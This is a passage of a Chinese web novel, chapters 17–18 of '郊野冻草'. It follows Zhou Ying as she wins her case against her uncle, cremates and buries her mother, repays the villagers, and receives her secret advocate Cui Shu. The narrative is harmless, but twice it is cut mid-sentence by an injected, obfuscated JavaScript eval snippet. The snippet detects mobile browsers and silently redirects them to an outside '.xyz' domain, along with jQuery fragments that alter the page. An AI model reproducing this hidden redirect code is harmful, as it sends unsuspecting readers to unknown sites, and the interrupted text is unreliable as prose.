“因此，我诉杨固夫妇两罪，一是收取赵铁匠钱财，将我略卖与人为妻，此点杨成夫妇和赵铁匠的证词可以佐证。二是杀害我母，此事虽无其他人证，但杨成夫妇赶至时，我身无自由，不可能做到此事，况我与母亲相依为命数年，不可能无故弑母，此事只能是他二人所为。还请知县大人派人仔细勘察，还我清白。此外，既然非亲，并无减罪之故，案犯自当以命抵命。” 杨固虽不懂这其中律法上的弯弯绕绕，但听她这一通剖析也知定然不是什么好事，才知方才情急之下着了她的道，作势就要扑过来打她，被人按住仍挣扎不止，怒目圆睁：“你这毒妇，和你娘一样，养了十几年都养不熟的白眼狼。”仍撒泼耍赖般往她身上泼脏水，“难怪能干出来杀害你伯母的事来。” 周缨并不应答，只安静地跪在堂中，神色平静。 崔述隐在人群之中，隔着远远看向她挺直的脊背，悄然退出嘈杂的人群，离了此处。 知县喝住状若疯傻的杨固：“你之说辞先前已经录过口供了，现下暂且不论。”吩咐赶紧将人押下去，随即下令，“今日鞫谳到此结束，退堂。” 17. 郊野冻草（五） 堂审在一片喧嚣声中落幕，涉案众人被带回各自监室关押，围观百姓散去，平山县衙的正堂又恢复了往日的寂静肃穆。 如此又经两次勘验三轮堂审，二月廿七，缠绵数日的淫雨停歇，树木枝桠在泥土的腥气和鸟虫的鸣啼中悄悄抽了芽，翠竹山在夜色中悄然披上了一层薄薄的绿衣。 时已亥正，天际散落着几颗星子，周缨抱膝靠坐在潮得掉渣的土墙上，往窄小的气窗外看去，试图辨出她认得的为数不多的几个星宿。 杂乱的脚步声将思绪拉回，她抬眼往与普牢隔开的那道铁门看去，见狱卒拎着一个酒坛子歪歪扭扭地走进来，脚步虚浮，浑身酒气，不由轻轻皱了皱眉。 狱中只壁上点着一只灯芯将尽堪堪能照路的油灯，光线昏暗，狱卒看不清她的神色，冲她乐道：“你这小丫头运气倒还不错，没两日就能出去了。” “怎么说？” “你那邻居是个高人，我干这行这么多年，还不知青水镇上有这号人物。写的那诉状是真厉害，当日堂审把咱们老爷和书吏都当场震住了不说，今儿个送文书的兄弟回来了，说卷宗送到通判案上，通判草草扫了一眼，当即便将诉状连读了三遍，紧接着就仔细研读了卷宗里的所有档案，现下已经同意咱知县老爷的初判，发回令择日宣判了。” “我邻居？”周缨右手扶在木栏上，眼睛连眨了几次，心中那个不合时宜的猜想再度跃出来，“不是你替我请的讼师么？” “我哪有那能耐？自个儿送上门来的。你不认得那人？”狱卒心说怪异，见周缨神色变幻几次终归平静，似想明白了什么似的，举坛灌了口酒，冲她挤出一个意味深长的眼神，“上上下下请吃请喝了好几回，一回便是三桌席面，你托给我的十两已经花完了，我可没从中赚一个子儿。好在事情也算没办砸，这钱花得不冤。” 虽知这话里肯定有水分，但周缨并无心寻根究底，只是有些疑问还有待解答，正要再问，狱卒已打了个酒嗝，醉醺醺地踉跄往外走去了，嘴里含着一口咸泪，咕哝着：“衙门嘛，有理无钱莫进来。我那妹儿啊，若当初能碰到这么个高人，是不是也不会背了冤屈，早早去了。” 狱卒所言果然不虚，两日之后，官府张榜宣判，杨固以故杀定罪，被判斩监候，杨成夫妇被释，周缨亦被判明随母归宗。 连日累积的湿寒发作，林氏这两日生了场急病，状况不大好，周缨劝服杨成，雇车先送他们夫妇回去，而后自行前往义庄，领回周宛的尸身。 涉及命案，结案前不便下葬，官府虽以冰块保存，但毕竟死于非命又时日已久，常干这行的车马行都推说不详，不愿雇车给她。周缨也不生气，只冷声加价，连加五次，掌柜乐得满脸开花，忙指使一个老鳏夫赶骡车过去，另指派两个伙计抬了门板去帮忙。 周缨坐在板车上，沿着春意蔓生的道路往回走，骡车咿咿呀呀的声响将她一颗心颠得轻轻起落，生出一段造化弄人的感慨来。 原本此时，她们娘俩儿应当已经行程过半，再捱上个把月就快到棠县了，阿娘或许很快就能见到阔别十六年的亲人。 可如今…… 她抬眼望着晌午时分金灿灿的艳阳，随骡车一起摇摇晃晃的五脏六腑被无边的酸胀占得严严实实。 行至翠竹山脚，车道陡然变窄，骡车上不了山，车马行的年轻伙计坐地起价，预备大捞一笔，周缨盘算着这些时日的开销，正欲还价，山路拐弯处忽然传来一阵杂乱急切的脚步声。 杨成行在最先，肩上搭着一捆麻绳，开口说话时仍和平素一样不大敢直视旁人，只说：“阿缨丫头，咱来了。” 身后跟着的壮年男人们也七嘴八舌地道：“白事不请自到是传了千百年的规矩，丫头别同咱们客气。” “以前吧，总有些风言风语，你们两家也不和睦，咱们也不敢和你们娘俩儿多来往。但怎么说也是地邻，咱们也算看着你这丫头长大的，更何况遇到了这么大的事，总归是不一样，不能不管。” 说罢也不管周缨应不应声，一群肤色黝黑身材精壮的汉子上前将门板卸下，用绳索将草席固定好，粗着嗓子三言两语打发了车马行的伙计，轮流抬着门板沿着崎岖的羊肠小路上山，汗如雨下也绝口不喊一声累。 周缨插不上手，只得先一步赶回家中预备茶水饭菜。才刚远远看见院门，便听得叽叽喳喳的人声，等她走近，里头热热闹闹，平素不爱与她来往的婆婶嫂子们坐了一院，清洗着刚从自家地里采摘的尚还带着新泥的蔬菜瓜果。 见她进来，院中的说话声戛然而止。 周缨在篱笆院门前驻足片刻，先前红得刺目的血渍已经不见踪影，染血的土墙也被人为抹平了痕迹。 须臾，她恍若终于神归其位，提脚往里走去。 林氏走过来，想解释一番，周缨见她唇色苍白如纸，忙扶她到一旁坐下，也不再提劝她回家休息的话，只道：“婶儿，您多注意身子。这里人多，大家伙互相搭把手，就能把事情办妥，您别操太多心。” 年纪最长素得敬重的阿婆看二人一眼，转头中气十足地吩咐众人：“都别愣着了，男人们要回来了，大家手脚麻利点。” 等杨成一行回来，另一队男人也扛着桌椅板凳回来了，等将灵堂扎好，白幡挂出，挽联贴好，亡人安置，女人们已经麻利地收拾出了四五桌菜，大家伙围坐，顶着晌午的日头吃完简陋餐饭，不闻一声怨言。 饭后，大家争相收拾桌椅碗筷，三名族老来找周缨商量丧仪相关事宜。周缨已趁方才大家吃饭的功夫考虑清楚，也不拐弯抹角，径直向为首的族长道：“先前仓促，来不及准备午饭，但后面要让大家再吃这样的饭菜，传出去笑话不说，我自个儿也实在过意不去。劳太爷安排人，看村里有没有愿意卖牲口的人家，买一头来给大家置席面。” “按市价买就行，钱的事您别操心。”见对方神色困惑，周缨解释道，“米面蔬菜也是，各家除了自家吃的，若有多的愿意拿出来，也请按照市价买，倘若不够，再安排人去镇上买，钱我会备好。” 族长似有迟疑，但终是没说什么，只冲左侧那人道：“阿缨丫头有心，老三，你照她的话办，先招呼人把牲口买来杀了，这事耽误不得。” 周缨从怀中取出一张面值十两的银票递给那人，请他务必收下：“叔公，家里事情杂，就我一个人，多有抽不开身的时候，银钱的事劳您多费心。” 族长又问周缨：“族里的人来帮忙，吃不吃饭都是该的。重点还是你娘的身后事，人死不能复生，况时日已久，还是当尽快入土为安，你如何考虑？你一个孤女，若叫你自个儿来操办也是惹人笑话，我安排你族兄来搭把手如何？” “阿娘走的不太平，还是按习俗办，去去祟气，也好往生。”周缨避而不答，只说，“道场少不得，这事劳太爷操心。” 族长领悟到她的意思，女子出面操持白事虽于俗不合，但她家毕竟情况特殊，若叫旁人来帮忙也未必有人愿出这个风头，只好颔首：“这是该的。你不提我也该给你预备下，上午已经派人去隔壁镇上请麻子班头的人了，稍晚些该到了，还是按规矩先做一日法事，后面留两人守灵，出殡那日再大唱。” “好，多谢太爷，按您说的办。”周缨又说，“后山有块小坡地，土不好，不出粮食，只种了几棵茶树。那地儿平时没什么人去，我娘怕人，平常轻易不出门，偶尔却还愿意去那里采些茶叶，我看坟便选在那儿，不用修得多好，垒个土包就行。只一条，还是请个先生算下日子，合适便开工，村里有愿意帮忙的，工钱我还是照付，若没有便请人去雇。” 当年杨泰淹死后，家中没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15444867|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个理事的人，族中做主替他在阳坡上相了块风水不错的地，眼下周缨这话是不想将父母合葬的意思了，族长虽觉不妥，但终是不好说什么，只好同意：“大家伙愿意来帮忙，就没什么忌讳的。老五，你去办这事。” “棺木怎么打算？”族长问，“我喊人去山里割块好点的板？” “已经停太久了。”周缨摇头，“请先生来算好时日，便先烧了，再去镇上置一副小的棺木就好。” 族长心中大骇，抬手指着周缨，似痰卡在喉间，半天只发出混沌声响，一个清晰的音节都吐不出。 周缨神色平静地站在他面前，脊背挺得笔直，无惧无畏：“太爷，您愿召集大家伙来帮忙，我很感激，但您也清楚，这么多年，我和我阿娘从来没有入过杨家族谱。倘若您不同意，起坟的事也先停了罢，毕竟那也是杨家的地，官府既已判明我和阿娘复归本籍，我阿娘其实也用不得。” 族长摇头长叹，引得在一旁收拾的女人们纷纷往这边看过来。 “阿缨，你想好了，你若当真这么做了，这起白事可谓办得惊世骇俗。除了疫病暴亡的，百年来整个青水镇还没有这么办的人家，你日后可是要被人戳脊梁骨的。” “太爷，我已经考虑了快两月了。”周缨应得很快，“想好了，不改了。” 族长垂下手，叹道：“也罢，既是你娘亲，依你说的办。”说罢便往外走，走出去两步，又回头看向她，长叹一声，“阿缨，你心里头还是有怨啊。” 周缨只淡淡牵了下唇。 等族长走远，周缨顿觉眼前发黑，头晕目炫，只好扶着墙略站了一站。 年纪比周缨大不了几岁的一名新媳走过来，悄悄递给她一块酥脆点心，又怕被旁人看见，趁她反应过来之前，已急匆匆地赶去婆母身边帮忙洗碗。 周缨将那块点心两口塞进肚中，勉强填填肚子，便进了阿娘房间，收拾屋中物件。按照习俗，这些旧物都将一并烧给亡人，此事亦不得假手于人。 阿娘孤身来到此地，家中又困窘，并无太多物件，周缨将收拾出来的物什一并用床单打包束在一处，只单独留下了一只小榉木盒子以作纪念。 诸项事宜既已议定，族长安排周缨叔伯辈的人出面理事。主事的人素有威望，大家虽对丧仪有些意见，也不敢拿到明面上说，只偶尔铙钹声起时，隔得近的妇人会凑在一起咬两句耳朵。 风水先生算过时日，翌日申正二刻，屋前空地上便燃起了熊熊大火，周宛被冰冻数日不得安歇的肉身终于得以安静地走向消亡。男人们另起火堆，依旧俗将旧物一并烧毁。 村里百年来不曾出过一例火葬，众人远远围观，心中却直打鼓，生怕不得入土为安的亡灵回来作祟。 周缨独自站在近处，任由白色的飞灰落了满头满身。 春日暮短，天色转为铅色时，周缨将骨灰敛入陶罐，捧入棺椁之中。 三月初三，辰时封棺，周缨于灵前摔碎一只瓦盆，扛夫抬柩起行，于朦胧的天色中将棺木送至魂灵安息处，覆土之后，坟茔新起，周缨亲手立起请人刻好的碑石，其上书“先妣周宛之墓”。 周缨跪在墓前烧纸，厚厚的一沓黄表纸被拆分为薄薄的纸片，而后投入火堆，燃起橙黄色的火焰。 鞭炮一鸣，淡蓝色的烟雾中，众人撤回院中，吃过早饭，收拾好桌椅碗筷并一应物件，各回各家各归其位，丧仪自此便算结束。 周缨一身缟素，站在院门口，向众人叩首：“诸位爷叔婆婶，大恩无以为报，周缨在此谢过。” 族长托她起身，见她不肯，只得作罢，叹道：“阿缨，往后多保重。” 众人陆续离开，周缨跪在门口，依次向离开的每一个人叩首，行孝子仪，直至日头从翠竹山后跃出，金光洒满院落，院中彻底空寂下来。 18. 郊野冻草（六） 除却父母不同葬和火葬这等不同寻常的举动，在贫苦的庄稼人家中，周缨亲自主持的这场丧仪算得上盛大，花费不菲。与之相比，徐氏的尸首在同日被其子领回家中，族长以死者为大为由，指派了近门子的两户人家前去帮忙。 嫁至杨家坪近二十年、日渐泼辣狠毒的女人，被草席一卷草草掩埋，自此消匿在翠竹山贫瘠的土地里。 三月初十，族长敲锣召集众人，于宗祠祭祀先祖后，将杨泰、杨固二兄弟剔出族谱，并着人将二人事迹刻于宗祠院墙，警醒众人勿要忘本。 周缨并未前往，听到宗祠处传来的喧嚣声时，也不过抬头淡扫一眼，便继续忙活起自己的活计。趁这几日的功夫，她已将家中尚还有些价值的物件清理出来，拿至镇上贱卖换了钱，清点完前后开销，又用余钱到相邻的三个镇上跑了几趟，多番比对，买来最好的稻种，趁春耕开始之际，逐户分发。 春寒未消，周缨每日鸡鸣三声即起身，沿着崎岖的山路和坑洼不平的田垄走至田间，裤脚一捋便跟着犁铧下了田，挨家挨户帮各家干上一日，随时令前半月育苗，后半月插秧。众人皆知这孤女是在报当日之恩，不便推辞，只晌午的便饭尽己所能多添一道菜。 三月末，各家秧苗都已下田，翠竹山间的田间地头绿意遍生，周缨却累倒在了自家灶头。 自家磨了豆腐，虽忙完农活时已近薄暮，林氏仍特地端了一碗来给周缨，明明瞧见耳房里有微弱的灯光，但敲门不应，推门不开，只得喊来杨成将门撞开，便发觉了晕倒在地的周缨。 林氏上前扶她，手刚触上她的背脊，眼泪花儿已落了下来：“天可怜见的，瘦成这样。” 林氏停了活计，叫杨成亦停了工，把家中一切都交给他一人料理，自个儿则专心照顾周缨，周缨劝她回家也不肯，几次过后，也就不提这话了，每顿强忍着恶心将她做好的饭菜多吃下半碗，好叫她宽心。 四月初一，刚入夜，久无人迹的小院忽有客来，叩响了厨房的木门。 彼时周缨刚从椽子上取下两束晾晒干的玉米，正坐在灶下剥粒。前些时日她才从邻镇上买来鸡苗和一头小牛，人饿得，牲畜却饿不得。 自从出事后，周缨改掉了以往夜不闭户的习惯，凡进门必要插上门闩，并用榆木杠子顶门，以防有人闯进来。但这两日林氏陪着她住，进出多有不便，这习惯便暂且撇下，是以此时有人敲门，她的心骤提到嗓子眼。 她静了片刻，门口传来人声：“周姑娘在吗？” 极为陌生的声音，周缨没应声，外头声音压低，似在交谈。 周缨忽然福至心灵，走到门后，试探问：“是束关吗？” “是我。”外头谈话声停下，应得很快。 “进来吧。”周缨打开门往外看去，束关见她出来，连忙侧开身子，让出身后的人来。 崔述身披一件玄黑的氅衣，领边上滚一圈蓬松的狐狸毛，站在檐下，冲她颔首致意。 “夜里冷，路远，进来喝杯热茶吧。”周缨将两人往里让。 束关道：“我先将马喂了，预备一会儿赶路。周姑娘可知这附近哪里的草长势好？” 不料他们来得急，走得竟也这样急，周缨想了一下，指了指屋前的一道半坡：“往前走上半里路，那里的苜蓿顶好。我这里还有麸皮和玉米，晚些也喂一点。” 束关道过谢，牵了系在院门口的两匹马往外走。 周缨引崔述入内，室内未燃灯油，只灶下燃着火以驱夜寒。柴火之光昏暗，周缨点燃灯，跳跃的火光将她的身影投至壁上。 崔述轻瞥一眼，心想，比上回瘦得更厉害了。 周缨取干净的布巾擦净扶手椅，请他落座，替他斟来一杯热茶：“祛祛寒。” “好。”崔述伸手接过，落座呷了口茶，眉目间沾染的霜寒褪了半分。 “应当没吃晚饭吧？”周缨坐在一旁矮凳上，重新捋起垂落的袖子，继续剥苞谷，“要不吃顿便饭再赶路？” “好。” 他还是先前那样，从不辩驳她的提议，周缨唇莫名牵了下。 崔述借着扑闪的烛火观察着她的神情，一如初见时那般冷肃，看不出一丝悲伤，沉默片刻，似随口问道：“你知道我会来？” 周缨“嗯”了一声，又说：“倒也不是，但见到你来，也不觉得吃惊。”她顿了一顿，同他道谢，“多谢。” “什么？” “崔讼师。”周缨冲他一笑，“若非你出手相助，遇上这么个糊涂县官，说不定得把我自个儿都搭进这案子里。” “应当不至于，若真如此，州府复核那关约莫也应付不过去，只是要定杨固死刑确有些困难。”崔述沉默片刻，好奇道，“我何处露了馅儿？” 周缨身子尚未痊愈，声音哑得厉害：“你伤没好全，难免有些破绽。” “原来如此。”崔述淡笑了下。 “原本只是有些怀疑，但狱卒同我说，他们同僚一起吃酒时，听书吏提起过，这份诉状非常厉害，县官怕惹到不世出的高人才往上递得快，州府也批得快。”周缨仍旧歪着头，声音低低地传过来，“狱卒说你自称是我乡邻，但我根本不认得什么能写出这样诉状的高人。” “我钻研此道日久，不足为奇。” 崔述注视着跳跃的火苗，语气不无落寞。 周缨转头看他一眼，又收回目光，将已蹦到嗓子眼儿的疑问咽了回去。 他的身份来历，不当她问。 崔述不知她心中所想，只接着方才的话道：“但你能赢这场官司，并不全靠那份诉状。五轮堂审，不曾记错一个细节，答错一句话，前后未有任何翻供，沉着应对，有据有节。我见过无数堂下受审之人，不论年纪长幼，占理与否，在堂官和刑罚的威压下，能做到如此的，十之一二而已。何况……”她才刚经丧母之痛，又少不更事。 若非当日亲眼所见，他也很难相信她能够从容应对，尽展当日他在狱中所授，以至于当日堂审结束，他便立刻改了主意，将原本预备留下帮助善后的束关一并撤回沧州，留她一人独自面对后来种种，不再插手。 崔述将后半截话咽回腹中，直视着她黑亮的双眸：“短短一日，《永昌律》相关，你记得一字不差。这个公道，是你应得的。” “想活命，想替阿娘讨一个公道，逼着自己硬记下来的。”周缨将杂乱的灶下收拾整齐，各色用具归置到墙角堆好，打水净完手，过来接他的茶杯，才说，“总之，这回欠你一个大人情，以后若有机会，一定报答。” 崔述没应声。 周缨默了片刻，又说：“不过也是空话，总归以后没机会再见了，你要回玉京了？” 崔述“嗯”了一声：“你往后做何打算？” 周缨从袖中取出一张黄纸，展开递给他：“你帮我看看，这契书有无问题？” 是将家产悉数赠与杨成夫妇的契书，写清了家中两亩薄田的位置与大小，崔述阅过，点头道：“没有，可用。” 周缨将纸收起来：“官府已判我随母归宗，并出具公验，允我回原籍重录户帖，等隔两 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15452658|168934||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 日请个中人作证，和成叔签了这契，我就准备离开，不再回来了。” 林氏提着竹篮站在门口，听得这话，呆站了片刻，惶惶不知所措。 周缨忙起身将她扶进来坐下，看一眼崔述，又看一眼她，不知该如何介绍两人认识。 林氏此时方慢慢回过神来，冲周缨道：“阿缨，你去后头把菜洗了，有客人来，连饭菜都不知道准备了？” 她极少用这样的语气说话，周缨愣了片刻，才“噢”了一声，提起竹篮往后去了。 屋后响起涓涓水流之声，崔述向林氏一笑：“多有叨扰。” 林氏沉默须臾，说：“我见过你。” 崔述不应，她接道：“上回官府的人来抓逃犯，拿着你的画像来问，我不认字，但记人脸不差。” “是。”崔述未作掩饰。 “那回当真是阿缨藏下了你？这丫头当真是胆大包天了，竟敢做出这样的事来。”林氏道，“我早怀疑是谁在帮阿缨，阿缨虽然勤快，但咱们这儿穷乡僻壤的，就算她能攒下几个小钱，能够打点狱卒给我送衣送被，但后来给她娘亲操持丧事，那阵仗，咱们村里几十年不曾出过了，她不可能攒下这么多银钱。何况那日过堂，那些话，绝不可能是她自个儿能说出来的。” “我想了好几遭，一直想问那丫头，但不好出口。”林氏将他周身再度打量一遍，“今日一见你，我便想明白了。” 崔述只淡淡一笑。 林氏接问道：“敢问这位郎君，将去哪里？” 崔述如实相告:“玉京。” “玉京。”林氏咂摸着这个遥远的地名，“都在北边，那和棠县隔得远吗？” “间隔百里，不算太远。” 林氏忽然跪地：“那能不能请郎君，送阿缨一程？” 崔述被这突如其来的举动所惊，忙伸手托住她手臂：“您先请起。” 林氏不肯，抹起眼泪来：“不怕您说我托大，我实在是没有办法，阿缨丫头挨着给每家每户帮活的时候我就想到了，这丫头是一定要走的，她是想在走之前还清欠的情。她这一辈的，咱们村里共有十四个，可打小就没有任何一个和她一样伶俐，她的确也不该在这山里待一辈子。” “这丫头主意大，说了隔两日要走，就一定会走。但她毕竟才刚满十五岁，从没出过远门，若非这回卷进事里，连县里都没去过。听说棠县有上千里之遥，要走上几个月，她最近又病得厉害，我怕损了根骨，以后养不回来，实在是放心不下。”林氏伏地叩首，“既然玉京相隔不远，郎君和她勉强也算是过命的交情，能不能请郎君，送阿缨一程，到合适的地方再分路？” 崔述微有迟疑：“她母亲既然已故，户帖之事不算太急，您怎知她此刻就一定要前往棠县？” “那丫头……把装了她娘亲骨灰的陶罐悄悄换了，没有入棺，我亲眼瞧见的，亡人要落叶归根啊。”林氏泪如雨下。 崔述转头看向屋后，暮色之中，那身影瘦骨伶仃，孱弱得像一株被厚雪压弯了腰的野草。 “您信我？” “阿缨虽然手头不宽裕，但绝不是爱财不惜命之人，她当日既然帮你，我信她的判断。”林氏停顿片刻，“何况，这回的事起，你并未忘恩。今日一见，如此稳重，我记人不差，识人也不弱，你当是重诺守信之人。 “阿缨当日也是犯险帮您，而今想请您大发善心，对她照顾一二。” 崔述手上用力，将她强行托起：“母之爱子，拳拳之意，不过如此。您既托请，我应下了。”